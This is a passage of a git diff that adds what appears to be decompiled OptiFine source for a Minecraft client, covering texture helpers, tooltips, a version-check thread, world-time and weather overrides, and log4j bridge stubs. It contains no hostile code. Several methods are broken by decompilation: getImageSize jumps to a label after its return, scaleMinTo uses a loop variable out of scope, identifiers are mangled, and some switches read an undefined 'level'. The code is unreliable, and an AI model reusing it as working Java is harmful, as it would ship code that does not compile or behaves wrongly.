+  public static String fixResourcePath(String path, String basePath)
+  {
+    String strAssMc = "assets/minecraft/";
+    
+    if (path.startsWith(strAssMc))
+    {
+      path = path.substring(strAssMc.length());
+      return path;
+    }
+    if (path.startsWith("./"))
+    {
+      path = path.substring(2);
+      
+      if (!basePath.endsWith("/"))
+      {
+        basePath = basePath + "/";
+      }
+      
+      path = basePath + path;
+      return path;
+    }
+    
+
+    if (path.startsWith("/~"))
+    {
+      path = path.substring(1);
+    }
+    
+    String strMcpatcher = "mcpatcher/";
+    
+    if (path.startsWith("~/"))
+    {
+      path = path.substring(2);
+      path = strMcpatcher + path;
+      return path;
+    }
+    if (path.startsWith("/"))
+    {
+      path = strMcpatcher + path.substring(1);
+      return path;
+    }
+    
+
+    return path;
+  }
+  
+
+
+  public static String getBasePath(String path)
+  {
+    int pos = path.lastIndexOf('/');
+    return pos < 0 ? "" : path.substring(0, pos);
+  }
+  
+  public static void applyAnisotropicLevel()
+  {
+    if (getCapabilitiesGL_EXT_texture_filter_anisotropic)
+    {
+      float maxLevel = GL11.glGetFloat(34047);
+      float level = Config.getAnisotropicFilterLevel();
+      level = Math.min(level, maxLevel);
+      GL11.glTexParameterf(3553, 34046, level);
+    }
+  }
+  
+  public static void bindTexture(int glTexId)
+  {
+    GlStateManager.func_179144_i(glTexId);
+  }
+  
+  public static boolean isPowerOfTwo(int x)
+  {
+    int x2 = MathHelper.roundUpToPowerOfTwo(x);
+    return x2 == x;
+  }
+  
+  public static BufferedImage scaleToPowerOfTwo(BufferedImage bi, int minSize)
+  {
+    if (bi == null)
+    {
+      return bi;
+    }
+    
+
+    int w = bi.getWidth();
+    int h = bi.getHeight();
+    int w2 = Math.max(w, minSize);
+    w2 = MathHelper.roundUpToPowerOfTwo(w2);
+    
+    if (w2 == w)
+    {
+      return bi;
+    }
+    
+
+    int h2 = h * w2 / w;
+    BufferedImage bi2 = new BufferedImage(w2, h2, 2);
+    Graphics2D g2 = bi2.createGraphics();
+    Object method = RenderingHints.VALUE_INTERPOLATION_NEAREST_NEIGHBOR;
+    
+    if (w2 % w != 0)
+    {
+      method = RenderingHints.VALUE_INTERPOLATION_BILINEAR;
+    }
+    
+    g2.setRenderingHint(RenderingHints.KEY_INTERPOLATION, method);
+    g2.drawImage(bi, 0, 0, w2, h2, null);
+    return bi2;
+  }
+  
+
+
+  public static BufferedImage scaleMinTo(BufferedImage bi, int minSize)
+  {
+    if (bi == null)
+    {
+      return bi;
+    }
+    
+
+    int w = bi.getWidth();
+    int h = bi.getHeight();
+    
+    if (w >= minSize)
+    {
+      return bi;
+    }
+    
+
+
+
+    for (int w2 = w; w2 < minSize; w2 *= 2) {}
+    
+
+
+
+    int h2 = h * w2 / w;
+    BufferedImage bi2 = new BufferedImage(w2, h2, 2);
+    Graphics2D g2 = bi2.createGraphics();
+    Object method = RenderingHints.VALUE_INTERPOLATION_NEAREST_NEIGHBOR;
+    g2.setRenderingHint(RenderingHints.KEY_INTERPOLATION, method);
+    g2.drawImage(bi, 0, 0, w2, h2, null);
+    return bi2;
+  }
+  
+
+
+  public static Dimension getImageSize(InputStream in, String suffix)
+  {
+    Iterator iter = ImageIO.getImageReadersBySuffix(suffix);
+    Dimension var7;
+    for (;;)
+    {
+      if (!iter.hasNext())
+        break label97;
+      ImageReader reader = (ImageReader)iter.next();
+      
+
+      try
+      {
+        ImageInputStream e = ImageIO.createImageInputStream(in);
+        reader.setInput(e);
+        int width = reader.getWidth(reader.getMinIndex());
+        int height = reader.getHeight(reader.getMinIndex());
+        var7 = new Dimension(width, height);
+      }
+      catch (IOException var11)
+      {
+        Dimension var7;
+        
+
+
+        reader.dispose(); } finally { reader.dispose();
+      }
+    }
+    return var7;
+    
+    label97:
+    return null;
+  }
+}
diff --git a/src/minecraft/optifine/TooltipManager.java b/src/minecraft/optifine/TooltipManager.java
new file mode 100644
index 0000000..c7574a4
--- /dev/null
+++ b/src/minecraft/optifine/TooltipManager.java
@@ -0,0 +1,130 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiVideoSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class TooltipManager
+{
+  private GuiScreen guiScreen = null;
+  private int lastMouseX = 0;
+  private int lastMouseY = 0;
+  private long mouseStillTime = 0L;
+  
+  public TooltipManager(GuiScreen guiScreen)
+  {
+    this.guiScreen = guiScreen;
+  }
+  
+  public void drawTooltips(int x, int y, List buttonList)
+  {
+    if ((Math.abs(x - lastMouseX) <= 5) && (Math.abs(y - lastMouseY) <= 5))
+    {
+      short activateDelay = 700;
+      
+      if (System.currentTimeMillis() >= mouseStillTime + activateDelay)
+      {
+        int x1 = guiScreen.width / 2 - 150;
+        int y1 = guiScreen.height / 6 - 7;
+        
+        if (y <= y1 + 98)
+        {
+          y1 += 105;
+        }
+        
+        int x2 = x1 + 150 + 150;
+        int y2 = y1 + 84 + 10;
+        GuiButton btn = getSelectedButton(x, y, buttonList);
+        
+        if ((btn instanceof IOptionControl))
+        {
+          IOptionControl ctl = (IOptionControl)btn;
+          GameSettings.Options option = ctl.getOption();
+          String[] lines = getTooltipLines(option);
+          
+          if (lines == null)
+          {
+            return;
+          }
+          
+          GuiVideoSettings.drawGradientRect(guiScreen, x1, y1, x2, y2, -536870912, -536870912);
+          
+          for (int i = 0; i < lines.length; i++)
+          {
+            String line = lines[i];
+            int col = 14540253;
+            
+            if (line.endsWith("!"))
+            {
+              col = 16719904;
+            }
+            
+            FontRenderer fontRenderer = getMinecraftfontRendererObj;
+            fontRenderer.drawStringWithShadow(line, x1 + 5, y1 + 5 + i * 11, col);
+          }
+        }
+      }
+    }
+    else
+    {
+      lastMouseX = x;
+      lastMouseY = y;
+      mouseStillTime = System.currentTimeMillis();
+    }
+  }
+  
+  private GuiButton getSelectedButton(int x, int y, List buttonList)
+  {
+    for (int k = 0; k < buttonList.size(); k++)
+    {
+      GuiButton btn = (GuiButton)buttonList.get(k);
+      int btnWidth = GuiVideoSettings.getButtonWidth(btn);
+      int btnHeight = GuiVideoSettings.getButtonHeight(btn);
+      boolean flag = (x >= xPosition) && (y >= yPosition) && (x < xPosition + btnWidth) && (y < yPosition + btnHeight);
+      
+      if (flag)
+      {
+        return btn;
+      }
+    }
+    
+    return null;
+  }
+  
+  private static String[] getTooltipLines(GameSettings.Options option)
+  {
+    return getTooltipLines(option.getEnumString());
+  }
+  
+  private static String[] getTooltipLines(String key)
+  {
+    ArrayList list = new ArrayList();
+    
+    for (int lines = 0; lines < 10; lines++)
+    {
+      String lineKey = key + ".tooltip." + (lines + 1);
+      String line = Lang.get(lineKey, null);
+      
+      if (line == null) {
+        break;
+      }
+      
+
+      list.add(line);
+    }
+    
+    if (list.size() <= 0)
+    {
+      return null;
+    }
+    
+
+    String[] var5 = (String[])list.toArray(new String[list.size()]);
+    return var5;
+  }
+}
diff --git a/src/minecraft/optifine/VersionCheckThread.java b/src/minecraft/optifine/VersionCheckThread.java
new file mode 100644
index 0000000..93d0303
--- /dev/null
+++ b/src/minecraft/optifine/VersionCheckThread.java
@@ -0,0 +1,75 @@
+package optifine;
+
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+public class VersionCheckThread extends Thread
+{
+  public VersionCheckThread() {}
+  
+  public void run()
+  {
+    HttpURLConnection conn = null;
+    
+    try
+    {
+      Config.dbg("Checking for new version");
+      URL e = new URL("http://optifine.net/version/1.8/HD_U.txt");
+      conn = (HttpURLConnection)e.openConnection();
+      
+      if (getGameSettingssnooperEnabled)
+      {
+        conn.setRequestProperty("OF-MC-Version", "1.8");
+        conn.setRequestProperty("OF-MC-Brand", net.minecraft.client.ClientBrandRetriever.getClientModName());
+        conn.setRequestProperty("OF-Edition", "HD_U");
+        conn.setRequestProperty("OF-Release", "H6");
+        conn.setRequestProperty("OF-Java-Version", System.getProperty("java.version"));
+        conn.setRequestProperty("OF-CpuCount", Config.getAvailableProcessors());
+        conn.setRequestProperty("OF-OpenGL-Version", Config.openGlVersion);
+        conn.setRequestProperty("OF-OpenGL-Vendor", Config.openGlVendor);
+      }
+      
+      conn.setDoInput(true);
+      conn.setDoOutput(false);
+      conn.connect();
+      
+      try
+      {
+        java.io.InputStream in = conn.getInputStream();
+        String verStr = Config.readInputStream(in);
+        in.close();
+        String[] verLines = Config.tokenize(verStr, "\n\r");
+        
+        if (verLines.length < 1)
+        {
+          return;
+        }
+        
+        String newVer = verLines[0].trim();
+        Config.dbg("Version found: " + newVer);
+        
+        if (Config.compareRelease(newVer, "H6") > 0)
+        {
+          Config.setNewRelease(newVer);
+          return;
+        }
+      }
+      finally
+      {
+        if (conn != null)
+        {
+          conn.disconnect();
+        }
+      }
+      if (conn != null)
+      {
+        conn.disconnect();
+      }
+      
+    }
+    catch (Exception var11)
+    {
+      Config.dbg(var11.getClass().getName() + ": " + var11.getMessage());
+    }
+  }
+}
diff --git a/src/minecraft/optifine/WorldServerMultiOF.java b/src/minecraft/optifine/WorldServerMultiOF.java
new file mode 100644
index 0000000..725beae
--- /dev/null
+++ b/src/minecraft/optifine/WorldServerMultiOF.java
@@ -0,0 +1,6 @@
+package optifine;
+
+public class WorldServerMultiOF
+{
+  public WorldServerMultiOF() {}
+}
diff --git a/src/minecraft/optifine/WorldServerOF.java b/src/minecraft/optifine/WorldServerOF.java
new file mode 100644
index 0000000..40ebb2d
--- /dev/null
+++ b/src/minecraft/optifine/WorldServerOF.java
@@ -0,0 +1,102 @@
+package optifine;
+
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.storage.WorldInfo;
+
+public class WorldServerOF extends WorldServer
+{
+  private MinecraftServer mcServer;
+  
+  public WorldServerOF(MinecraftServer par1MinecraftServer, net.minecraft.world.storage.ISaveHandler par2iSaveHandler, WorldInfo worldInfo, int par4, Profiler par6Profiler)
+  {
+    super(par1MinecraftServer, par2iSaveHandler, worldInfo, par4, par6Profiler);
+    mcServer = par1MinecraftServer;
+  }
+  
+
+
+
+  public void tick()
+  {
+    super.tick();
+    
+    if (!Config.isTimeDefault())
+    {
+      fixWorldTime();
+    }
+    
+    if (Config.waterOpacityChanged)
+    {
+      Config.waterOpacityChanged = false;
+      ClearWater.updateWaterOpacity(Config.getGameSettings(), this);
+    }
+  }
+  
+
+
+
+  protected void updateWeather()
+  {
+    if (!Config.isWeatherEnabled())
+    {
+      fixWorldWeather();
+    }
+    
+    super.updateWeather();
+  }
+  
+  private void fixWorldWeather()
+  {
+    if ((worldInfo.isRaining()) || (worldInfo.isThundering()))
+    {
+      worldInfo.setRainTime(0);
+      worldInfo.setRaining(false);
+      setRainStrength(0.0F);
+      worldInfo.setThunderTime(0);
+      worldInfo.setThundering(false);
+      setThunderStrength(0.0F);
+      mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(2, 0.0F));
+      mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(7, 0.0F));
+      mcServer.getConfigurationManager().sendPacketToAllPlayers(new S2BPacketChangeGameState(8, 0.0F));
+    }
+  }
+  
+  private void fixWorldTime()
+  {
+    if (worldInfo.getGameType().getID() == 1)
+    {
+      long time = getWorldTime();
+      long timeOfDay = time % 24000L;
+      
+      if (Config.isTimeDayOnly())
+      {
+        if (timeOfDay <= 1000L)
+        {
+          setWorldTime(time - timeOfDay + 1001L);
+        }
+        
+        if (timeOfDay >= 11000L)
+        {
+          setWorldTime(time - timeOfDay + 24001L);
+        }
+      }
+      
+      if (Config.isTimeNightOnly())
+      {
+        if (timeOfDay <= 14000L)
+        {
+          setWorldTime(time - timeOfDay + 14001L);
+        }
+        
+        if (timeOfDay >= 22000L)
+        {
+          setWorldTime(time - timeOfDay + 24000L + 14001L);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/Appender.java b/src/minecraft/org/apache/log4j/Appender.java
new file mode 100644
index 0000000..f43f0e3
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Appender.java
@@ -0,0 +1,32 @@
+package org.apache.log4j;
+
+import org.apache.log4j.spi.ErrorHandler;
+import org.apache.log4j.spi.Filter;
+import org.apache.log4j.spi.LoggingEvent;
+
+public abstract interface Appender
+{
+  public abstract void addFilter(Filter paramFilter);
+  
+  public abstract Filter getFilter();
+  
+  public abstract void clearFilters();
+  
+  public abstract void close();
+  
+  public abstract void doAppend(LoggingEvent paramLoggingEvent);
+  
+  public abstract String getName();
+  
+  public abstract void setErrorHandler(ErrorHandler paramErrorHandler);
+  
+  public abstract ErrorHandler getErrorHandler();
+  
+  public abstract void setLayout(Layout paramLayout);
+  
+  public abstract Layout getLayout();
+  
+  public abstract void setName(String paramString);
+  
+  public abstract boolean requiresLayout();
+}
diff --git a/src/minecraft/org/apache/log4j/AppenderSkeleton.java b/src/minecraft/org/apache/log4j/AppenderSkeleton.java
new file mode 100644
index 0000000..e062527
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/AppenderSkeleton.java
@@ -0,0 +1,17 @@
+package org.apache.log4j;
+
+import org.apache.log4j.spi.OptionHandler;
+
+public class AppenderSkeleton
+  implements OptionHandler
+{
+  public AppenderSkeleton() {}
+  
+  public void setLayout(Layout layout) {}
+  
+  public void setName(String name) {}
+  
+  public void activateOptions() {}
+  
+  public void setThreshold(Priority threshold) {}
+}
diff --git a/src/minecraft/org/apache/log4j/BasicConfigurator.java b/src/minecraft/org/apache/log4j/BasicConfigurator.java
new file mode 100644
index 0000000..9513731
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/BasicConfigurator.java
@@ -0,0 +1,12 @@
+package org.apache.log4j;
+
+public class BasicConfigurator
+{
+  public BasicConfigurator() {}
+  
+  public static void configure() {}
+  
+  public static void configure(Appender appender) {}
+  
+  public static void resetConfiguration() {}
+}
diff --git a/src/minecraft/org/apache/log4j/Category.java b/src/minecraft/org/apache/log4j/Category.java
new file mode 100644
index 0000000..9580ff0
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Category.java
@@ -0,0 +1,357 @@
+package org.apache.log4j;
+
+import java.util.Enumeration;
+import org.apache.log4j.helpers.NullEnumeration;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.slf4j.Marker;
+import org.slf4j.MarkerFactory;
+import org.slf4j.spi.LocationAwareLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Category
+{
+  private static final String CATEGORY_FQCN = Category.class.getName();
+  
+  private String name;
+  
+  protected Logger slf4jLogger;
+  
+  private LocationAwareLogger locationAwareLogger;
+  private static Marker FATAL_MARKER = MarkerFactory.getMarker("FATAL");
+  
+  Category(String name) {
+    this.name = name;
+    slf4jLogger = LoggerFactory.getLogger(name);
+    if ((slf4jLogger instanceof LocationAwareLogger)) {
+      locationAwareLogger = ((LocationAwareLogger)slf4jLogger);
+    }
+  }
+  
+  public static Category getInstance(Class clazz) {
+    return Log4jLoggerFactory.getLogger(clazz.getName());
+  }
+  
+  public static Category getInstance(String name) {
+    return Log4jLoggerFactory.getLogger(name);
+  }
+  
+  public final Category getParent() {
+    return null;
+  }
+  
+
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+  public Appender getAppender(String name) {
+    return null;
+  }
+  
+  public Enumeration getAllAppenders() {
+    return NullEnumeration.getInstance();
+  }
+  
+
+
+
+
+
+
+
+  public Level getEffectiveLevel()
+  {
+    if (slf4jLogger.isTraceEnabled()) {
+      return Level.TRACE;
+    }
+    if (slf4jLogger.isDebugEnabled()) {
+      return Level.DEBUG;
+    }
+    if (slf4jLogger.isInfoEnabled()) {
+      return Level.INFO;
+    }
+    if (slf4jLogger.isWarnEnabled()) {
+      return Level.WARN;
+    }
+    return Level.ERROR;
+  }
+  
+
+
+
+
+
+  public final Level getLevel()
+  {
+    return null;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public final Level getPriority() {
+    return null;
+  }
+  
+
+
+  public boolean isDebugEnabled()
+  {
+    return slf4jLogger.isDebugEnabled();
+  }
+  
+
+
+  public boolean isInfoEnabled()
+  {
+    return slf4jLogger.isInfoEnabled();
+  }
+  
+
+
+  public boolean isWarnEnabled()
+  {
+    return slf4jLogger.isWarnEnabled();
+  }
+  
+
+
+  public boolean isErrorEnabled()
+  {
+    return slf4jLogger.isErrorEnabled();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isEnabledFor(Priority p)
+  {
+    switch (level) {
+    case 5000: 
+      return slf4jLogger.isTraceEnabled();
+    case 10000: 
+      return slf4jLogger.isDebugEnabled();
+    case 20000: 
+      return slf4jLogger.isInfoEnabled();
+    case 30000: 
+      return slf4jLogger.isWarnEnabled();
+    case 40000: 
+      return slf4jLogger.isErrorEnabled();
+    case 50000: 
+      return slf4jLogger.isErrorEnabled();
+    }
+    return false;
+  }
+  
+  void differentiatedLog(Marker marker, String fqcn, int level, Object message, Throwable t)
+  {
+    String m = convertToString(message);
+    if (locationAwareLogger != null) {
+      switch (level) {
+      case 0: 
+        slf4jLogger.trace(marker, m);
+        break;
+      case 10: 
+        slf4jLogger.debug(marker, m);
+        break;
+      case 20: 
+        slf4jLogger.info(marker, m);
+        break;
+      case 30: 
+        slf4jLogger.warn(marker, m);
+        break;
+      case 40: 
+        slf4jLogger.error(marker, m);
+      }
+      
+    }
+  }
+  
+
+
+  public void debug(Object message)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 10, message, null);
+  }
+  
+
+
+
+  public void debug(Object message, Throwable t)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 10, message, t);
+  }
+  
+
+
+  public void info(Object message)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 20, message, null);
+  }
+  
+
+
+
+  public void info(Object message, Throwable t)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 20, message, t);
+  }
+  
+
+
+  public void warn(Object message)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 30, message, null);
+  }
+  
+
+
+
+  public void warn(Object message, Throwable t)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 30, message, t);
+  }
+  
+
+
+  public void error(Object message)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 40, message, null);
+  }
+  
+
+
+
+  public void error(Object message, Throwable t)
+  {
+    differentiatedLog(null, CATEGORY_FQCN, 40, message, t);
+  }
+  
+
+
+  public void fatal(Object message)
+  {
+    differentiatedLog(FATAL_MARKER, CATEGORY_FQCN, 40, message, null);
+  }
+  
+
+
+
+  public void fatal(Object message, Throwable t)
+  {
+    differentiatedLog(FATAL_MARKER, CATEGORY_FQCN, 40, message, t);
+  }
+  
+  protected void forcedLog(String FQCN, Priority p, Object msg, Throwable t) {
+    log(FQCN, p, msg, t);
+  }
+  
+  public void log(String FQCN, Priority p, Object msg, Throwable t)
+  {
+    int levelInt = priorityToLevelInt(p);
+    differentiatedLog(null, FQCN, levelInt, msg, t);
+  }
+  
+  public void log(Priority p, Object message, Throwable t) {
+    int levelInt = priorityToLevelInt(p);
+    differentiatedLog(null, CATEGORY_FQCN, levelInt, message, t);
+  }
+  
+  public void log(Priority p, Object message) {
+    int levelInt = priorityToLevelInt(p);
+    differentiatedLog(null, CATEGORY_FQCN, levelInt, message, null);
+  }
+  
+  private int priorityToLevelInt(Priority p) {
+    switch (level) {
+    case 5000: 
+    case 9900: 
+      return 0;
+    case 10000: 
+      return 10;
+    case 20000: 
+      return 20;
+    case 30000: 
+      return 30;
+    case 40000: 
+      return 40;
+    case 50000: 
+      return 40;
+    }
+    throw new IllegalStateException("Unknown Priority " + p);
+  }
+  
+  protected final String convertToString(Object message)
+  {
+    if (message == null) {
+      return (String)message;
+    }
+    return message.toString();
+  }
+  
+
+
+  public void setAdditivity(boolean additive) {}
+  
+
+
+  public void addAppender(Appender newAppender) {}
+  
+
+  public void setLevel(Level level) {}
+  
+
+  public boolean getAdditivity()
+  {
+    return false;
+  }
+  
+  public void assertLog(boolean assertion, String msg) {
+    if (!assertion) {
+      error(msg);
+    }
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/ConsoleAppender.java b/src/minecraft/org/apache/log4j/ConsoleAppender.java
new file mode 100644
index 0000000..9c4c1b4
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/ConsoleAppender.java
@@ -0,0 +1,7 @@
+package org.apache.log4j;
+
+public class ConsoleAppender
+  extends WriterAppender
+{
+  public ConsoleAppender() {}
+}
diff --git a/src/minecraft/org/apache/log4j/FileAppender.java b/src/minecraft/org/apache/log4j/FileAppender.java
new file mode 100644
index 0000000..4f18311
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/FileAppender.java
@@ -0,0 +1,13 @@
+package org.apache.log4j;
+
+public class FileAppender
+  extends WriterAppender
+{
+  public FileAppender() {}
+  
+  public FileAppender(Layout layout, String filename) {}
+  
+  public FileAppender(Layout layout, String filename, boolean append) {}
+  
+  public FileAppender(Layout layout, String filename, boolean append, boolean bufferedIO, int bufferSize) {}
+}
diff --git a/src/minecraft/org/apache/log4j/Layout.java b/src/minecraft/org/apache/log4j/Layout.java
new file mode 100644
index 0000000..ff8ffcc
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Layout.java
@@ -0,0 +1,6 @@
+package org.apache.log4j;
+
+public class Layout
+{
+  public Layout() {}
+}
diff --git a/src/minecraft/org/apache/log4j/Level.java b/src/minecraft/org/apache/log4j/Level.java
new file mode 100644
index 0000000..fb6a65b
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Level.java
@@ -0,0 +1,228 @@
+package org.apache.log4j;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.ObjectStreamException;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Level
+  extends Priority
+  implements Serializable
+{
+  public static final int TRACE_INT = 5000;
+  public static final int X_TRACE_INT = 9900;
+  public static final Level OFF = new Level(Integer.MAX_VALUE, "OFF", 0);
+  
+
+
+
+
+  public static final Level FATAL = new Level(50000, "FATAL", 0);
+  
+
+
+
+  public static final Level ERROR = new Level(40000, "ERROR", 3);
+  
+
+
+
+  public static final Level WARN = new Level(30000, "WARN", 4);
+  
+
+
+
+
+  public static final Level INFO = new Level(20000, "INFO", 6);
+  
+
+
+
+
+  public static final Level DEBUG = new Level(10000, "DEBUG", 7);
+  
+
+
+
+
+
+  public static final Level TRACE = new Level(5000, "TRACE", 7);
+  
+
+
+
+  public static final Level ALL = new Level(Integer.MIN_VALUE, "ALL", 7);
+  
+
+
+  static final long serialVersionUID = 3491141966387921974L;
+  
+
+
+
+  protected Level(int level, String levelStr, int syslogEquivalent)
+  {
+    super(level, levelStr, syslogEquivalent);
+  }
+  
+
+
+
+  public static Level toLevel(String sArg)
+  {
+    return toLevel(sArg, DEBUG);
+  }
+  
+
+
+
+
+  public static Level toLevel(int val)
+  {
+    return toLevel(val, DEBUG);
+  }
+  
+
+
+
+  public static Level toLevel(int val, Level defaultLevel)
+  {
+    switch (val) {
+    case -2147483648: 
+      return ALL;
+    case 10000: 
+      return DEBUG;
+    case 20000: 
+      return INFO;
+    case 30000: 
+      return WARN;
+    case 40000: 
+      return ERROR;
+    case 50000: 
+      return FATAL;
+    case 2147483647: 
+      return OFF;
+    case 5000: 
+      return TRACE;
+    }
+    return defaultLevel;
+  }
+  
+
+
+
+
+
+  public static Level toLevel(String sArg, Level defaultLevel)
+  {
+    if (sArg == null) {
+      return defaultLevel;
+    }
+    String s = sArg.toUpperCase();
+    
+    if (s.equals("ALL"))
+      return ALL;
+    if (s.equals("DEBUG"))
+      return DEBUG;
+    if (s.equals("INFO"))
+      return INFO;
+    if (s.equals("WARN"))
+      return WARN;
+    if (s.equals("ERROR"))
+      return ERROR;
+    if (s.equals("FATAL"))
+      return FATAL;
+    if (s.equals("OFF"))
+      return OFF;
+    if (s.equals("TRACE"))
+      return TRACE;
+    return defaultLevel;
+  }
+  
+
+
+
+
+  private void readObject(ObjectInputStream s)
+    throws IOException, ClassNotFoundException
+  {
+    s.defaultReadObject();
+    level = s.readInt();
+    syslogEquivalent = s.readInt();
+    levelStr = s.readUTF();
+    if (levelStr == null) {
+      levelStr = "";
+    }
+  }
+  
+
+
+
+  private void writeObject(ObjectOutputStream s)
+    throws IOException
+  {
+    s.defaultWriteObject();
+    s.writeInt(level);
+    s.writeInt(syslogEquivalent);
+    s.writeUTF(levelStr);
+  }
+  
+
+
+
+
+
+
+
+  private Object readResolve()
+    throws ObjectStreamException
+  {
+    if (getClass() == Level.class) {
+      return toLevel(level);
+    }
+    
+
+
+    return this;
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/Log4jLoggerFactory.java b/src/minecraft/org/apache/log4j/Log4jLoggerFactory.java
new file mode 100644
index 0000000..2038bb9
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Log4jLoggerFactory.java
@@ -0,0 +1,58 @@
+package org.apache.log4j;
+
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import org.apache.log4j.spi.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Log4jLoggerFactory
+{
+  Log4jLoggerFactory() {}
+  
+  private static ConcurrentMap<String, Logger> log4jLoggers = new ConcurrentHashMap();
+  
+  public static Logger getLogger(String name) {
+    Logger instance = (Logger)log4jLoggers.get(name);
+    if (instance != null) {
+      return instance;
+    }
+    Logger newInstance = new Logger(name);
+    Logger oldInstance = (Logger)log4jLoggers.putIfAbsent(name, newInstance);
+    return oldInstance == null ? newInstance : oldInstance;
+  }
+  
+  public static Logger getLogger(String name, LoggerFactory loggerFactory)
+  {
+    Logger instance = (Logger)log4jLoggers.get(name);
+    if (instance != null) {
+      return instance;
+    }
+    Logger newInstance = loggerFactory.makeNewLoggerInstance(name);
+    Logger oldInstance = (Logger)log4jLoggers.putIfAbsent(name, newInstance);
+    return oldInstance == null ? newInstance : oldInstance;
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/LogManager.java b/src/minecraft/org/apache/log4j/LogManager.java
new file mode 100644
index 0000000..50d8c56
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/LogManager.java
@@ -0,0 +1,79 @@
+package org.apache.log4j;
+
+import java.util.Enumeration;
+import java.util.Vector;
+import org.apache.log4j.spi.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LogManager
+{
+  public LogManager() {}
+  
+  public static Logger getRootLogger()
+  {
+    return Log4jLoggerFactory.getLogger("ROOT");
+  }
+  
+  public static Logger getLogger(String name) {
+    return Log4jLoggerFactory.getLogger(name);
+  }
+  
+  public static Logger getLogger(Class clazz) {
+    return Log4jLoggerFactory.getLogger(clazz.getName());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Logger getLogger(String name, LoggerFactory loggerFactory)
+  {
+    return loggerFactory.makeNewLoggerInstance(name);
+  }
+  
+
+
+
+
+  public static Enumeration getCurrentLoggers()
+  {
+    return new Vector().elements();
+  }
+  
+  public static void shutdown() {}
+  
+  public static void resetConfiguration() {}
+}
diff --git a/src/minecraft/org/apache/log4j/Logger.java b/src/minecraft/org/apache/log4j/Logger.java
new file mode 100644
index 0000000..9f0a2b5
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Logger.java
@@ -0,0 +1,83 @@
+package org.apache.log4j;
+
+import org.apache.log4j.spi.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Logger
+  extends Category
+{
+  private static final String LOGGER_FQCN = Logger.class.getName();
+  
+  protected Logger(String name) {
+    super(name);
+  }
+  
+  public static Logger getLogger(String name) {
+    return Log4jLoggerFactory.getLogger(name);
+  }
+  
+  public static Logger getLogger(String name, LoggerFactory loggerFactory) {
+    return Log4jLoggerFactory.getLogger(name, loggerFactory);
+  }
+  
+  public static Logger getLogger(Class clazz) {
+    return getLogger(clazz.getName());
+  }
+  
+
+
+
+
+  public static Logger getRootLogger()
+  {
+    return Log4jLoggerFactory.getLogger("ROOT");
+  }
+  
+
+
+
+  public boolean isTraceEnabled()
+  {
+    return slf4jLogger.isTraceEnabled();
+  }
+  
+
+
+  public void trace(Object message)
+  {
+    differentiatedLog(null, LOGGER_FQCN, 0, message, null);
+  }
+  
+
+
+
+  public void trace(Object message, Throwable t)
+  {
+    differentiatedLog(null, LOGGER_FQCN, 0, message, null);
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/MDC.java b/src/minecraft/org/apache/log4j/MDC.java
new file mode 100644
index 0000000..fc59a3f
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/MDC.java
@@ -0,0 +1,63 @@
+package org.apache.log4j;
+
+import java.util.Hashtable;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDC
+{
+  public MDC() {}
+  
+  public static void put(String key, String value)
+  {
+    org.slf4j.MDC.put(key, value);
+  }
+  
+  public static void put(String key, Object value) {
+    if (value != null) {
+      put(key, value.toString());
+    } else {
+      put(key, null);
+    }
+  }
+  
+  public static Object get(String key) {
+    return org.slf4j.MDC.get(key);
+  }
+  
+  public static void remove(String key) {
+    org.slf4j.MDC.remove(key);
+  }
+  
+
+
